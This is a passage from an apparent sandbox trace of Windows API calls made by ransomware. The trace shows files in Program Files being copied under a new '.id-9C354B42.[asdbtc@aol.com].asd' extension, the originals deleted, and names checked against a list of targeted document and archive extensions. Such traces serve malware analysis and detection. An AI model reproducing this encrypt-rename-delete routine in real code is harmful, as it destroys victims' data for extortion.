Shared\\VBA\\VBA7\\1033\\VBUI6.CHM" (normalized: "c:\\program files\\common files\\microsoft shared\\vba\\vba7\\1033\\vbui6.chm")) returned 0x20 [0057.130] GetFileAttributesW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\VBA\\VBA7\\1033\\VBUI6.CHM.id-9C354B42.[asdbtc@aol.com].asd" (normalized: "c:\\program files\\common files\\microsoft shared\\vba\\vba7\\1033\\vbui6.chm.id-9c354b42.[asdbtc@aol.com].asd")) returned 0xffffffff [0057.130] CreateFileW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\VBA\\VBA7\\1033\\VBUI6.CHM" (normalized: "c:\\program files\\common files\\microsoft shared\\vba\\vba7\\1033\\vbui6.chm"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x204 [0057.131] SetFilePointerEx (in: hFile=0x204, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x317fec8 | out: lpNewFilePointer=0x0) returned 1 [0057.131] SetFilePointerEx (in: hFile=0x204, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x317fec8 | out: lpNewFilePointer=0x0) returned 1 [0057.131] CreateFileW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\VBA\\VBA7\\1033\\VBUI6.CHM.id-9C354B42.[asdbtc@aol.com].asd" (normalized: "c:\\program files\\common files\\microsoft shared\\vba\\vba7\\1033\\vbui6.chm.id-9c354b42.[asdbtc@aol.com].asd"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x1e4 [0057.131] GetLastError () returned 0x0 [0057.131] ReadFile (in: hFile=0x204, lpBuffer=0x3ca0020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x317fed4, lpOverlapped=0x0 | out: lpBuffer=0x3ca0020*, lpNumberOfBytesRead=0x317fed4*=0x65c96, lpOverlapped=0x0) returned 1 [0057.142] WriteFile (in: hFile=0x1e4, lpBuffer=0x3ca0020*, nNumberOfBytesToWrite=0x65ca0, lpNumberOfBytesWritten=0x317fc9c, lpOverlapped=0x0 | out: lpBuffer=0x3ca0020*, lpNumberOfBytesWritten=0x317fc9c*=0x65ca0, lpOverlapped=0x0) returned 1 [0057.401] ReadFile (in: hFile=0x204, lpBuffer=0x3ca0020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x317fed4, lpOverlapped=0x0 | out: lpBuffer=0x3ca0020*, lpNumberOfBytesRead=0x317fed4*=0x0, lpOverlapped=0x0) returned 1 [0057.401] WriteFile (in: hFile=0x1e4, lpBuffer=0x3ca0020*, nNumberOfBytesToWrite=0xe6, lpNumberOfBytesWritten=0x317fc9c, lpOverlapped=0x0 | out: lpBuffer=0x3ca0020*, lpNumberOfBytesWritten=0x317fc9c*=0xe6, lpOverlapped=0x0) returned 1 [0057.401] SetEndOfFile (hFile=0x1e4) returned 1 [0057.401] CloseHandle (hObject=0x1e4) returned 1 [0057.401] SetFilePointerEx (in: hFile=0x204, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x317fec8 | out: lpNewFilePointer=0x0) returned 1 [0057.402] SetEndOfFile (hFile=0x204) returned 1 [0057.405] CloseHandle (hObject=0x204) returned 1 [0057.405] SetFileAttributesW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\VBA\\VBA7\\1033\\VBUI6.CHM.id-9C354B42.[asdbtc@aol.com].asd", dwFileAttributes=0x20) returned 1 [0057.406] DeleteFileW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\VBA\\VBA7\\1033\\VBUI6.CHM" (normalized: "c:\\program files\\common files\\microsoft shared\\vba\\vba7\\1033\\vbui6.chm")) returned 1 [0057.406] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\VBA\\VBA7\\1033\\VBUI6.CHM") returned 70 [0057.406] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\VBA\\VBA7\\1033\\VBUI6.CHM") returned 70 [0057.406] lstrlenW (lpString=".doc") returned 4 [0057.406] lstrcmpiW (lpString1=".doc", lpString2=".CHM") returned 1 [0057.406] lstrlenW (lpString=".docx") returned 5 [0057.406] lstrcmpiW (lpString1=".docx", lpString2="6.CHM") returned -1 [0057.406] lstrlenW (lpString=".pdf") returned 4 [0057.406] lstrcmpiW (lpString1=".pdf", lpString2=".CHM") returned 1 [0057.406] lstrlenW (lpString=".xls") returned 4 [0057.406] lstrcmpiW (lpString1=".xls", lpString2=".CHM") returned 1 [0057.406] lstrlenW (lpString=".xlsx") returned 5 [0057.406] lstrcmpiW (lpString1=".xlsx", lpString2="6.CHM") returned -1 [0057.406] lstrlenW (lpString=".ppt") returned 4 [0057.406] lstrcmpiW (lpString1=".ppt", lpString2=".CHM") returned 1 [0057.406] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\VBA\\VBA7\\1033\\VBUI6.CHM") returned 70 [0057.406] lstrlenW (lpString=".zip") returned 4 [0057.406] lstrcmpiW (lpString1=".zip", lpString2=".CHM") returned 1 [0057.406] lstrlenW (lpString=".rar") returned 4 [0057.406] lstrcmpiW (lpString1=".rar", lpString2=".CHM") returned 1 [0057.406] lstrlenW (lpString=".bz2") returned 4 [0057.406] lstrcmpiW (lpString1=".bz2", lpString2=".CHM") returned -1 [0057.406] lstrlenW (lpString=".7z") returned 3 [0057.407] lstrcmpiW (lpString1=".7z", lpString2="CHM") returned -1 [0057.407] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\VBA\\VBA7\\1033\\VBUI6.CHM") returned 70 [0057.407] lstrlenW (lpString=".dbf") returned 4 [0057.407] lstrcmpiW (lpString1=".dbf", lpString2=".CHM") returned 1 [0057.407] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\VBA\\VBA7\\1033\\VBUI6.CHM") returned 70 [0057.407] lstrlenW (lpString=".1cd") returned 4 [0057.407] lstrcmpiW (lpString1=".1cd", lpString2=".CHM") returned -1 [0057.407] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\VBA\\VBA7\\1033\\VBUI6.CHM") returned 70 [0057.407] lstrlenW (lpString=".jpg") returned 4 [0057.407] lstrcmpiW (lpString1=".jpg", lpString2=".CHM") returned 1 [0057.407] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\VBA\\VBA7\\1033\\VBUI6.CHM") returned 70 [0057.407] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\VBA\\VBA7\\1033\\VBUI6.CHM") returned 70 [0057.407] lstrlenW (lpString=".doc") returned 4 [0057.407] lstrcmpiW (lpString1=".doc", lpString2=".CHM") returned 1 [0057.407] lstrlenW (lpString=".docx") returned 5 [0057.407] lstrcmpiW (lpString1=".docx", lpString2="6.CHM") returned -1 [0057.407] lstrlenW (lpString=".pdf") returned 4 [0057.407] lstrcmpiW (lpString1=".pdf", lpString2=".CHM") returned 1 [0057.407] lstrlenW (lpString=".xls") returned 4 [0057.407] lstrcmpiW (lpString1=".xls", lpString2=".CHM") returned 1 [0057.407] lstrlenW (lpString=".xlsx") returned 5 [0057.407] lstrcmpiW (lpString1=".xlsx", lpString2="6.CHM") returned -1 [0057.407] lstrlenW (lpString=".ppt") returned 4 [0057.407] lstrcmpiW (lpString1=".ppt", lpString2=".CHM") returned 1 [0057.407] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\VBA\\VBA7\\1033\\VBUI6.CHM") returned 70 [0057.407] lstrlenW (lpString=".zip") returned 4 [0057.407] lstrcmpiW (lpString1=".zip", lpString2=".CHM") returned 1 [0057.407] lstrlenW (lpString=".rar") returned 4 [0057.407] lstrcmpiW (lpString1=".rar", lpString2=".CHM") returned 1 [0057.408] lstrlenW (lpString=".bz2") returned 4 [0057.408] lstrcmpiW (lpString1=".bz2", lpString2=".CHM") returned -1 [0057.408] lstrlenW (lpString=".7z") returned 3 [0057.408] lstrcmpiW (lpString1=".7z", lpString2="CHM") returned -1 [0057.408] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\VBA\\VBA7\\1033\\VBUI6.CHM") returned 70 [0057.408] lstrlenW (lpString=".dbf") returned 4 [0057.408] lstrcmpiW (lpString1=".dbf", lpString2=".CHM") returned 1 [0057.408] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\VBA\\VBA7\\1033\\VBUI6.CHM") returned 70 [0057.408] lstrlenW (lpString=".1cd") returned 4 [0057.408] lstrcmpiW (lpString1=".1cd", lpString2=".CHM") returned -1 [0057.408] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\VBA\\VBA7\\1033\\VBUI6.CHM") returned 70 [0057.408] lstrlenW (lpString=".jpg") returned 4 [0057.408] lstrcmpiW (lpString1=".jpg", lpString2=".CHM") returned 1 [0057.408] lstrcmpiW (lpString1=".png", lpString2=".asd") returned 1 [0057.408] lstrlenW (lpString="DissolveNoise.png") returned 17 [0057.408] CreateFileW (lpFileName="C:\\Program Files\\DVD Maker\\Shared\\DissolveNoise.png" (normalized: "c:\\program files\\dvd maker\\shared\\dissolvenoise.png"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x1f0 [0057.620] GetFileSizeEx (in: hFile=0x1f0, lpFileSize=0x317ff1c | out: lpFileSize=0x317ff1c*=751669) returned 1 [0057.620] CloseHandle (hObject=0x1f0) returned 1 [0057.620] GetFileAttributesW (lpFileName="C:\\Program Files\\DVD Maker\\Shared\\DissolveNoise.png" (normalized: "c:\\program files\\dvd maker\\shared\\dissolvenoise.png")) returned 0x20 [0057.620] GetFileAttributesW (lpFileName="C:\\Program Files\\DVD Maker\\Shared\\DissolveNoise.png.id-9C354B42.[asdbtc@aol.com].asd" (normalized: "c:\\program files\\dvd maker\\shared\\dissolvenoise.png.id-9c354b42.[asdbtc@aol.com].asd")) returned 0xffffffff [0057.620] CreateFileW (lpFileName="C:\\Program Files\\DVD Maker\\Shared\\DissolveNoise.png" (normalized: "c:\\program files\\dvd maker\\shared\\dissolvenoise.png"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0xffffffff [0057.620] lstrlenW (lpString="C:\\Program Files\\DVD Maker\\Shared\\DissolveNoise.png") returned 51 [0057.620] lstrlenW (lpString="C:\\Program Files\\DVD Maker\\Shared\\DissolveNoise.png") returned 51 [0057.620] lstrlenW (lpString=".doc") returned 4 [0057.620] lstrcmpiW (lpString1=".doc", lpString2=".png") returned -1 [0057.620] lstrlenW (lpString=".docx") returned 5 [0057.620] lstrcmpiW (lpString1=".docx", lpString2="e.png") returned -1 [0057.620] lstrlenW (lpString=".pdf") returned 4 [0057.620] lstrcmpiW (lpString1=".pdf", lpString2=".png") returned -1 [0057.620] lstrlenW (lpString=".xls") returned 4 [0057.621] lstrcmpiW (lpString1=".xls", lpString2=".png") returned 1 [0057.621] lstrlenW (lpString=".xlsx") returned 5 [0057.621] lstrcmpiW (lpString1=".xlsx", lpString2="e.png") returned -1 [0057.621] lstrlenW (lpString=".ppt") returned 4 [0057.621] lstrcmpiW (lpString1=".ppt", lpString2=".png") returned 1 [0057.621] lstrlenW (lpString="C:\\Program Files\\DVD Maker\\Shared\\DissolveNoise.png") returned 51 [0057.621] lstrlenW (lpString=".zip") returned 4 [0057.621] lstrcmpiW (lpString1=".zip", lpString2=".png") returned 1 [0057.621] lstrlenW (lpString=".rar") returned 4 [0057.621] lstrcmpiW (lpString1=".rar", lpString2=".png") returned 1 [0057.621] lstrlenW (lpString=".bz2") returned 4 [0057.621] lstrcmpiW (lpString1=".bz2", lpString2=".png") returned -1 [0057.621] lstrlenW (lpString=".7z") returned 3 [0057.621] lstrcmpiW (lpString1=".7z", lpString2="png") returned -1 [0057.621] lstrlenW (lpString="C:\\Program Files\\DVD Maker\\Shared\\DissolveNoise.png") returned 51 [0057.621] lstrlenW (lpString=".dbf") returned 4 [0057.621] lstrcmpiW (lpString1=".dbf", lpString2=".png") returned -1 [0057.621] lstrlenW (lpString="C:\\Program Files\\DVD Maker\\Shared\\DissolveNoise.png") returned 51 [0057.621] lstrlenW (lpString=".1cd") returned 4 [0057.621] lstrcmpiW (lpString1=".1cd", lpString2=".png") returned -1 [0057.621] lstrlenW (lpString="C:\\Program Files\\DVD Maker\\Shared\\DissolveNoise.png") returned 51 [0057.621] lstrlenW (lpString=".jpg") returned 4 [0057.621] lstrcmpiW (lpString1=".jpg", lpString2=".png") returned -1 [0057.621] lstrlenW (lpString="C:\\Program Files\\DVD Maker\\Shared\\DissolveNoise.png") returned 51 [0057.621] lstrlenW (lpString="C:\\Program Files\\DVD Maker\\Shared\\DissolveNoise.png") returned 51 [0057.621] lstrlenW (lpString=".doc") returned 4 [0057.621] lstrcmpiW (lpString1=".doc", lpString2=".png") returned -1 [0057.621] lstrlenW (lpString=".docx") returned 5 [0057.621] lstrcmpiW (lpString1=".docx", lpString2="e.png") returned -1 [0057.621] lstrlenW (lpString=".pdf") returned 4 [0057.621] lstrcmpiW (lpString1=".pdf", lpString2=".png") returned -1 [0057.621] lstrlenW (lpString=".xls") returned 4 [0057.622] lstrcmpiW (lpString1=".xls", lpString2=".png") returned 1 [0057.622] lstrlenW (lpString=".xlsx") returned 5 [0057.622] lstrcmpiW (lpString1=".xlsx", lpString2="e.png") returned -1 [0057.622] lstrlenW (lpString=".ppt") returned 4 [0057.622] lstrcmpiW (lpString1=".ppt", lpString2=".png") returned 1 [0057.622] lstrlenW (lpString="C:\\Program Files\\DVD Maker\\Shared\\DissolveNoise.png") returned 51 [0057.622] lstrlenW (lpString=".zip") returned 4 [0057.622] lstrcmpiW (lpString1=".zip", lpString2=".png") returned 1 [0057.622] lstrlenW (lpString=".rar") returned 4 [0057.622] lstrcmpiW (lpString1=".rar", lpString2=".png") returned 1 [0057.622] lstrlenW (lpString=".bz2") returned 4 [0057.622] lstrcmpiW (lpString1=".bz2", lpString2=".png") returned -1 [0057.622] lstrlenW (lpString=".7z") returned 3 [0057.622] lstrcmpiW (lpString1=".7z", lpString2="png") returned -1 [0057.622] lstrlenW (lpString="C:\\Program Files\\DVD Maker\\Shared\\DissolveNoise.png") returned 51 [0057.622] lstrlenW (lpString=".dbf") returned 4 [0057.622] lstrcmpiW (lpString1=".dbf", lpString2=".png") returned -1 [0057.622] lstrlenW (lpString="C:\\Program Files\\DVD Maker\\Shared\\DissolveNoise.png") returned 51 [0057.622] lstrlenW (lpString=".1cd") returned 4 [0057.622] lstrcmpiW (lpString1=".1cd", lpString2=".png") returned -1 [0057.622] lstrlenW (lpString="C:\\Program Files\\DVD Maker\\Shared\\DissolveNoise.png") returned 51 [0057.622] lstrlenW (lpString=".jpg") returned 4 [0057.622] lstrcmpiW (lpString1=".jpg", lpString2=".png") returned -1 [0057.622] lstrcmpiW (lpString1=".png", lpString2=".asd") returned 1 [0057.622] lstrlenW (lpString="4to3Squareframe_Buttongraphic.png") returned 33 [0057.622] CreateFileW (lpFileName="C:\\Program Files\\DVD Maker\\Shared\\DvdStyles\\4to3Squareframe_Buttongraphic.png" (normalized: "c:\\program files\\dvd maker\\shared\\dvdstyles\\4to3squareframe_buttongraphic.png"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x1fc [0058.558] GetFileSizeEx (in: hFile=0x1fc, lpFileSize=0x317ff1c | out: lpFileSize=0x317ff1c*=11861) returned 1 [0058.558] CloseHandle (hObject=0x1fc) returned 1 [0058.558] GetFileAttributesW (lpFileName="C:\\Program Files\\DVD Maker\\Shared\\DvdStyles\\4to3Squareframe_Buttongraphic.png" (normalized: "c:\\program files\\dvd maker\\shared\\dvdstyles\\4to3squareframe_buttongraphic.png")) returned 0x20 [0058.559] GetFileAttributesW (lpFileName="C:\\Program Files\\DVD Maker\\Shared\\DvdStyles\\4to3Squareframe_Buttongraphic.png.id-9C354B42.[asdbtc@aol.com].asd" (normalized: "c:\\program files\\dvd maker\\shared\\dvdstyles\\4to3squareframe_buttongraphic.png.id-9c354b42.[asdbtc@aol.com].asd")) returned 0xffffffff [0058.795] CreateFileW (lpFileName="C:\\Program Files\\DVD Maker\\Shared\\DvdStyles\\4to3Squareframe_Buttongraphic.png" (normalized: "c:\\program files\\dvd maker\\shared\\dvdstyles\\4to3squareframe_buttongraphic.png"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0xffffffff [0058.800] lstrlenW (lpString="C:\\Program Files\\DVD Maker\\Shared\\DvdStyles\\4to3Squareframe_Buttongraphic.png") returned 77 [0058.800] lstrlenW (lpString="C:\\Program Files\\DVD Maker\\Shared\\DvdStyles\\4to3Squareframe_Buttongraphic.png") returned 77 [0058.800] lstrlenW (lpString=".doc") returned 4 [0058.800] lstrcmpiW (lpString1=".doc", lpString2=".png") returned -1 [0058.800] lstrlenW (lpString=".docx") returned 5 [0058.800] lstrcmpiW (lpString1=".docx", lpString2="c.png") returned -1 [0058.800] lstrlenW (lpString=".pdf") returned 4 [0058.800] lstrcmpiW (lpString1=".pdf", lpString2=".png") returned -1 [0058.838] lstrlenW (lpString=".xls") returned 4 [0058.838] lstrcmpiW (lpString1=".xls", lpString2=".png") returned 1 [0058.838] lstrlenW (lpString=".xlsx") returned 5 [0058.838] lstrcmpiW (lpString1=".xlsx", lpString2="c.png") returned -1 [0058.838] lstrlenW (lpString=".ppt") returned 4 [0058.838] lstrcmpiW (lpString1=".ppt", lpString2=".png") returned 1 [0058.838] lstrlenW (lpString="C:\\Program Files\\DVD Maker\\Shared\\DvdStyles\\4to3Squareframe_Buttongraphic.png") returned 77 [0058.838] lstrlenW (lpString=".zip") returned 4 [0058.838] lstrcmpiW (lpString1=".zip", lpString2=".png") returned 1 [0058.838] lstrlenW (lpString=".rar") returned 4 [0058.838] lstrcmpiW (lpString1=".rar", lpString2=".png") returned 1 [0058.838] lstrlenW (lpString=".bz2") returned 4 [0058.838] lstrcmpiW (lpString1=".bz2", lpString2=".png") returned -1 [0058.838] lstrlenW (lpString=".7z") returned 3 [0058.838] lstrcmpiW (lpString1=".7z", lpString2="png") returned -1 [0058.838] lstrlenW (lpString="C:\\Program Files\\DVD Maker\\Shared\\DvdStyles\\4to3Squareframe_Buttongraphic.png") returned 77 [0058.838] lstrlenW (lpString=".dbf") returned 4 [0058.838] lstrcmpiW (lpString1=".dbf", lpString2=".png") returned -1 [0058.838] lstrlenW (lpString="C:\\Program Files\\DVD Maker\\Shared\\DvdStyles\\4to3Squareframe_Buttongraphic.png") returned 77 [0058.838] lstrlenW (lpString=".1cd") returned 4 [0058.838] lstrcmpiW (lpString1=".1cd", lpString2=".png") returned -1 [0058.838] lstrlenW (lpString="C:\\Program Files\\DVD Maker\\Shared\\DvdStyles\\4to3Squareframe_Buttongraphic.png") returned 77 [0058.838] lstrlenW (lpString=".jpg") returned 4 [0058.838] lstrcmpiW (lpString1=".jpg", lpString2=".png") returned -1 [0058.838] lstrlenW (lpString="C:\\Program Files\\DVD Maker\\Shared\\DvdStyles\\4to3Squareframe_Buttongraphic.png") returned 77 [0058.838] lstrlenW (lpString="C:\\Program Files\\DVD Maker\\Shared\\DvdStyles\\4to3Squareframe_Buttongraphic.png") returned 77 [0058.838] lstrlenW (lpString=".doc") returned 4 [0058.838] lstrcmpiW (lpString1=".doc", lpString2=".png") returned -1 [0058.838] lstrlenW (lpString=".docx") returned 5 [0058.839] lstrcmpiW (lpString1=".docx", lpString2="c.png") returned -1 [0058.839] lstrlenW (lpString=".pdf") returned 4 [0058.839] lstrcmpiW (lpString1=".pdf", lpString2=".png") returned -1 [0058.839] lstrlenW (lpString=".xls") returned 4 [0058.839] lstrcmpiW (lpString1=".xls", lpString2=".png") returned 1 [0058.839] lstrlenW (lpString=".xlsx") returned 5 [0058.839] lstrcmpiW (lpString1=".xlsx", lpString2="c.png") returned -1 [0058.839] lstrlenW (lpString=".ppt") returned 4 [0058.839] lstrcmpiW (lpString1=".ppt", lpString2=".png") returned 1 [0058.839] lstrlenW (lpString="C:\\Program Files\\DVD Maker\\Shared\\DvdStyles\\4to3Squareframe_Buttongraphic.png") returned 77 [0058.839] lstrlenW (lpString=".zip") returned 4 [0058.839] lstrcmpiW (lpString1=".zip", lpString2=".png") returned 1 [0058.839] lstrlenW (lpString=".rar") returned 4 [0058.839] lstrcmpiW (lpString1=".rar", lpString2=".png") returned 1 [0058.839] lstrlenW (lpString=".bz2") returned 4 [0058.839] lstrcmpiW (lpString1=".bz2", lpString2=".png") returned -1 [0058.839] lstrlenW (lpString=".7z") returned 3 [0058.839] lstrcmpiW (lpString1=".7z", lpString2="png") returned -1 [0058.839] lstrlenW (lpString="C:\\Program Files\\DVD Maker\\Shared\\DvdStyles\\4to3Squareframe_Buttongraphic.png") returned 77 [0058.839] lstrlenW (lpString=".dbf") returned 4 [0058.839] lstrcmpiW (lpString1=".dbf", lpString2=".png") returned -1 [0058.839] lstrlenW (lpString="C:\\Program Files\\DVD Maker\\Shared\\DvdStyles\\4to3Squareframe_Buttongraphic.png") returned 77 [0058.839] lstrlenW (lpString=".1cd") returned 4 [0058.839] lstrcmpiW (lpString1=".1cd", lpString2=".png") returned -1 [0058.839] lstrlenW (lpString="C:\\Program Files\\DVD Maker\\Shared\\DvdStyles\\4to3Squareframe_Buttongraphic.png") returned 77 [0058.839] lstrlenW (lpString=".jpg") returned 4 [0058.839] lstrcmpiW (lpString1=".jpg", lpString2=".png") returned -1 [0058.839] lstrcmpiW (lpString1=".wmv", lpString2=".asd") returned 1 [0058.839] lstrlenW (lpString="BabyBoyMainBackground.wmv") returned 25 [0058.840] CreateFileW (lpFileName="C:\\Program Files\\DVD Maker\\Shared\\DvdStyles\\BabyBoy\\BabyBoyMainBackground.wmv" (normalized: "c:\\program files\\dvd maker\\shared\\dvdstyles\\babyboy\\babyboymainbackground.wmv"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x20c [0059.298] GetFileSizeEx (in: hFile=0x20c, lpFileSize=0x317ff1c | out: lpFileSize=0x317ff1c*=341322) returned 1 [0059.298] CloseHandle (hObject=0x20c) returned 1 [0059.298] GetFileAttributesW (lpFileName="C:\\Program Files\\DVD Maker\\Shared\\DvdStyles\\BabyBoy\\BabyBoyMainBackground.wmv" (normalized: "c:\\program files\\dvd maker\\shared\\dvdstyles\\babyboy\\babyboymainbackground.wmv")) returned 0x20 [0059.298] GetFileAttributesW (lpFileName="C:\\Program Files\\DVD Maker\\Shared\\DvdStyles\\BabyBoy\\BabyBoyMainBackground.wmv.id-9C354B42.[asdbtc@aol.com].asd" (normalized: "c:\\program files\\dvd maker\\shared\\dvdstyles\\babyboy\\babyboymainbackground.wmv.id-9c354b42.[asdbtc@aol.com].asd")) returned 0xffffffff [0059.298] CreateFileW (lpFileName="C:\\Program Files\\DVD Maker\\Shared\\DvdStyles\\BabyBoy\\BabyBoyMainBackground.wmv" (normalized: "c:\\program files\\dvd maker\\shared\\dvdstyles\\babyboy\\babyboymainbackground.wmv"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0xffffffff [0059.298] lstrlenW (lpString="C:\\Program Files\\DVD Maker\\Shared\\DvdStyles\\BabyBoy\\BabyBoyMainBackground.wmv") returned 77 [0059.298] lstrlenW (lpString="C:\\Program Files\\DVD Maker\\Shared\\DvdStyles\\BabyBoy\\BabyBoyMainBackground.wmv") returned 77 [0059.298] lstrlenW (lpString=".doc") returned 4 [0059.299] lstrcmpiW (lpString1=".doc", lpString2=".wmv") returned -1 [0059.299] lstrlenW (lpString=".docx") returned 5 [0059.299] lstrcmpiW (lpString1=".docx", lpString2="d.wmv") returned -1 [0059.299] lstrlenW (lpString=".pdf") returned 4 [0059.299] lstrcmpiW (lpString1=".pdf", lpString2=".wmv") returned -1 [0059.299] lstrlenW (lpString=".xls") returned 4 [0059.299] lstrcmpiW (lpString1=".xls", lpString2=".wmv") returned 1 [0059.299] lstrlenW (lpString=".xlsx") returned 5 [0059.299] lstrcmpiW (lpString1=".xlsx", lpString2="d.wmv") returned -1 [0059.299] lstrlenW (lpString=".ppt") returned 4 [0059.299] lstrcmpiW (lpString1=".ppt", lpString2=".wmv") returned -1 [0059.299] lstrlenW (lpString="C:\\Program Files\\DVD Maker\\Shared\\DvdStyles\\BabyBoy\\BabyBoyMainBackground.wmv") returned 77 [0059.299] lstrlenW (lpString=".zip") returned 4 [0059.299] lstrcmpiW (lpString1=".zip", lpString2=".wmv") returned 1 [0059.299] lstrlenW (lpString=".rar") returned 4 [0059.299] lstrcmpiW (lpString1=".rar", lpString2=".wmv") returned -1 [0059.299] lstrlenW (lpString=".bz2") returned 4 [0059.299] lstrcmpiW (lpString1=".bz2", lpString2=".wmv") returned -1 [0059.299] lstrlenW (lpString=".7z") returned 3 [0059.299] lstrcmpiW (lpString1=".7z", lpString2="wmv") returned -1 [0059.299] lstrlenW (lpString="C:\\Program Files\\DVD Maker\\Shared\\DvdStyles\\BabyBoy\\BabyBoyMainBackground.wmv") returned 77 [0059.299] lstrlenW (lpString=".dbf") returned 4 [0059.299] lstrcmpiW (lpString1=".dbf", lpString2=".wmv") returned -1 [0059.299] lstrlenW (lpString="C:\\Program Files\\DVD Maker\\Shared\\DvdStyles\\BabyBoy\\BabyBoyMainBackground.wmv") returned 77 [0059.299] lstrlenW (lpString=".1cd") returned 4 [0059.299] lstrcmpiW (lpString1=".1cd", lpString2=".wmv") returned -1 [0059.299] lstrlenW (lpString="C:\\Program Files\\DVD Maker\\Shared\\DvdStyles\\BabyBoy\\BabyBoyMainBackground.wmv") returned 77 [0059.299] lstrlenW (lpString=".jpg") returned 4 [0059.299] lstrcmpiW (lpString1=".jpg", lpString2=".wmv") returned -1 [0059.299] lstrlenW (lpString="C:\\Program Files\\DVD Maker\\Shared\\DvdStyles\\BabyBoy\\BabyBoyMainBackground.wmv") returned 77 [0059.299] lstrlenW (lpString="C:\\Program Files\\DVD Maker\\Shared\\DvdStyles\\BabyBoy\\BabyBoyMainBackground.wmv") returned 77 [0059.300] lstrlenW (lpString=".doc") returned 4 [0059.300] lstrcmpiW (lpString1=".doc", lpString2=".wmv") returned -1 [0059.300] lstrlenW (lpString=".docx") returned 5 [0059.300] lstrcmpiW (lpString1=".docx", lpString2="d.wmv") returned -1 [0059.300] lstrlenW (lpString=".pdf") returned 4 [0059.300] lstrcmpiW (lpString1=".pdf", lpString2=".wmv") returned -1 [0059.300] lstrlenW (lpString=".xls") returned 4 [0059.300] lstrcmpiW (lpString1=".xls", lpString2=".wmv") returned 1 [0059.300] lstrlenW (lpString=".xlsx") returned 5 [0059.300] lstrcmpiW (lpString1=".xlsx", lpString2="d.wmv") returned -1 [0059.300] lstrlenW (lpString=".ppt") returned 4 [0059.300] lstrcmpiW (lpString1=".ppt", lpString2=".wmv") returned -1 [0059.300] lstrlenW (lpString="C:\\Program Files\\DVD Maker\\Shared\\DvdStyles\\BabyBoy\\BabyBoyMainBackground.wmv") returned 77 [0059.300] lstrlenW (lpString=".zip") returned 4 [0059.300] lstrcmpiW (lpString1=".zip", lpString2=".wmv") returned 1 [0059.300] lstrlenW (lpString=".rar") returned 4 [0059.300] lstrcmpiW (lpString1=".rar", lpString2=".wmv") returned -1 [0059.300] lstrlenW (lpString=".bz2") returned 4 [0059.300] lstrcmpiW (lpString1=".bz2", lpString2=".wmv") returned -1 [0059.300] lstrlenW (lpString=".7z") returned 3 [0059.300] lstrcmpiW (lpString1=".7z", lpString2="wmv") returned -1 [0059.300] lstrlenW (lpString="C:\\Program Files\\DVD Maker\\Shared\\DvdStyles\\BabyBoy\\BabyBoyMainBackground.wmv") returned 77 [0059.300] lstrlenW (lpString=".dbf") returned 4 [0059.300] lstrcmpiW (lpString1=".dbf", lpString2=".wmv") returned -1 [0059.300] lstrlenW (lpString="C:\\Program Files\\DVD Maker\\Shared\\DvdStyles\\BabyBoy\\BabyBoyMainBackground.wmv") returned 77 [0059.300] lstrlenW (lpString=".1cd") returned 4 [0059.300] lstrcmpiW (lpString1=".1cd", lpString2=".wmv") returned -1 [0059.300] lstrlenW (lpString="C:\\Program Files\\DVD Maker\\Shared\\DvdStyles\\BabyBoy\\BabyBoyMainBackground.wmv") returned 77 [0059.300] lstrlenW (lpString=".jpg") returned 4 [0059.300] lstrcmpiW (lpString1=".jpg", lpString2=".wmv") returned -1 [0059.301] lstrcmpiW (lpString1=".png", lpString2=".asd") returned 1 [0059.301] lstrlenW (lpString="babypink.png") returned 12 [0059.301] CreateFileW (lpFileName="C:\\Program Files\\DVD Maker\\Shared\\DvdStyles\\BabyGirl\\babypink.png" (normalized: "c:\\program files\\dvd maker\\shared\\dvdstyles\\babygirl\\babypink.png"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x220 